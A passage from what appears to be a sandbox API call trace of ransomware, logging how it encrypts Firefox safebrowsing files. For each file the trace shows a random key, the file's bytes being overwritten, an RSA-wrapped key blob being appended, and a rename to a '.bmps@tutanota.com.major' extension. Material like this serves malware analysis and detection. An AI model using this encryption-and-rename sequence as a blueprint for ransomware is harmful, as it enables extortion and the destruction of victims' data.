lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.675] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.675] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.675] CloseHandle (hObject=0x1a54) returned 1 [0241.675] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.676] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.677] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.677] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.677] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.677] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.678] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.678] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.678] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.678] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.678] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.678] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.678] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.679] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.679] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5fFlNhDuY0P76PGK/sbpJ2KS4ChSFWQQQiijAm8mKYjQHd4MqLBQj02R5xu3LJpU\nXSKX1bW/ighZMwUzsa+bgO69OlioKcwQgb/CfGbtlWwzh6hptoB6B/JgrFVmltWn\n+l/u50RKDbOEXVl6TgpwJ7aNs5hRt7J28xRAVL41BD34oQ6VjsIktoj3L+LLkS5M\nx6dMgDTbeAe4ydkWtpYfJZ7sgUzbLMAB8zj3pF1si29qTguRrQ2ZZbZZebmmRZ3X\nU9DfsHST4K3xW9iEaM7XFSedRJ3H4EKLXmwcfeev41s7cQiAsvS9V5LJWKO2jfid\naY7METKOJvPACExbXY9Rsg==\n", pcchString=0x2e3f9a8) returned 1 [0241.679] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.680] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.680] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.680] CloseHandle (hObject=0x1a54) returned 1 [0241.680] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.681] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset", dwFileAttributes=0x80) returned 1 [0241.682] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.682] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.682] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40420, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40420*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.683] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.683] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40630*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40630*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.683] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.683] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.683] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.683] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.683] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3NCL0r2T18o0559jVBwIJuIS0YMzsC9UE7ug3x9uKk8j457h7Pv8H7IxJB+gYY6o\nbt3g5i0VpzNty8R2n1TnEFalRliMEBFQoS1oWPc39xDoNoTeqi2XXSMml+Doh6Ct\nTiuroXXR+RX10rFDxXEOE1Lp6xRbpMVio56L+LgnEaXJju9bw/p1Q1SohoFyYqj5\njiRPSOmCR6PBl1/DHQQtU0j0ueidcB0rx3LtvcYUWo73OKmKwMfqMOhCR1Kw15Oy\nwBQ2ihJLRW9soYREYPp4icrypVIqQFZxijc2N0rb882zqBqnNyQZmLFwK8QXnpn9\n6EjFMW+3si844WfdhS1DZg==\n", pcchString=0x2e3f9a8) returned 1 [0241.684] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.684] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.684] CloseHandle (hObject=0x1a54) returned 1 [0241.684] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flash-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.686] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.686] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.687] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.687] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.687] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.688] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.688] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.688] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.688] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.688] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.688] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.688] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.688] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.688] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="HnENhSDU/yPAAEwztOUiReQznJYDKz/dqIJjHK21PPf7d2koYhuezNnyDYeSz0J4\nGctllAnuPvi/Et8DRCQ3DfNzX9rXQDzBs+s296Ba6uczwHZP/LyqCyZvNGQN0bi1\nrebQQppysQZyijzTKVpaVLE5Mt0S/eAYoqNARHGDBkBae6IXDteMQAjTXo27Rgro\nf55mhmuu9QC16fdR07GEFjqbIuCqvsq+rDXuVQxcfneWiFSO1JUKgm81wk3Gt4i2\nQiG8sn7xs/f9mNrRfnSYoCbiKwboJ9v3rfS9ZcT0zVc66Md50Ar8z2wH+MTCh97U\nSE/lOfMtZfXhxIdBMIKOdw==\n", pcchString=0x2e3f9a8) returned 1 [0241.688] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.689] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.689] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.689] CloseHandle (hObject=0x1a54) returned 1 [0241.689] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.691] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.691] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset", dwFileAttributes=0x80) returned 1 [0241.692] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.693] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.693] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e405e8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e405e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.694] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.694] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e403c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e403c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.694] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.694] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.694] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.694] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.694] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.694] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.694] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pG4C/XRzgknDUNYUq3zcQnc+NIxlIqTF4lvnnd6ubDWAbgZRiX/TeUjwM4ZqSCgk\ne+6dUR0g/DylQoO0zyKxohUg+h+wZ6cBYMW3dewgDqZvr2sQqp0bda2WeBnSOgtp\nwYLoaZuwrdut+YoQu0bqZTHo17nhr3XwnYGSweplFtgDwju+rY/GIQetyodcMZU8\nb+heCUoTITHtgbWbd+Rv8oPSLQAouJHLiELhqH8lhMgMcIDykCwRIxZenTZ7fgsH\nYC8+5JwmqvtD52GcTNN+2Tore6rZ42GgZi7c6Hva3HDbsdLMir/y7V1teZDWSZ7Z\nYiMu9scORug/XKv0+IinNQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.694] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.694] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.694] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.694] CloseHandle (hObject=0x1a54) returned 1 [0241.695] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-block-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.697] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.697] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0241.698] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.698] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=350224) returned 1 [0241.698] ReadFile (in: hFile=0x1a54, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x55810, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x55810, lpOverlapped=0x0) returned 1 [0241.734] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-350224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.734] WriteFile (in: hFile=0x1a54, lpBuffer=0x344a830*, nNumberOfBytesToWrite=0x55810, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a830*, lpNumberOfBytesWritten=0x2e3f9b4*=0x55810, lpOverlapped=0x0) returned 1 [0241.735] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x55810 [0241.735] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.735] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.736] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.736] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Z3rt2Usd2qGzQaseVwzHaGOf6W26DBkp4KUrDKgSQ+dyWU4f/sg1f8xJOwcZ2KR2\n4zrKYu+Hx+Vx7zgnkjXOTFC4g8DXa95YVgR77KQBXgqdAqgUgqVLCpVm4XXeLWVv\n9Akzi85DD0tL5PMr8ARppSScbNQvboYG5AKLIjb0oL+KB7IgTSCpG6CSpBLkxBFH\nlfPA+mVvyParF0AdX9RUi9xKpsooQHb/c4ZfyY9NdsiQeOpbcKqGYIDKn56OPJVz\nL3syHBBUlYnPsUli6w/EKBxfiYV8testNTBwuIzNVeQV2MotOVdlf4Ckf5dDW7Ku\nw2IAYHthaO6waZ8ATT8SVg==\n", pcchString=0x2e3f9a8) returned 1 [0241.736] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.736] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.736] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.736] CloseHandle (hObject=0x1a54) returned 1 [0241.737] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\mozstd-trackwhite-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.738] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) 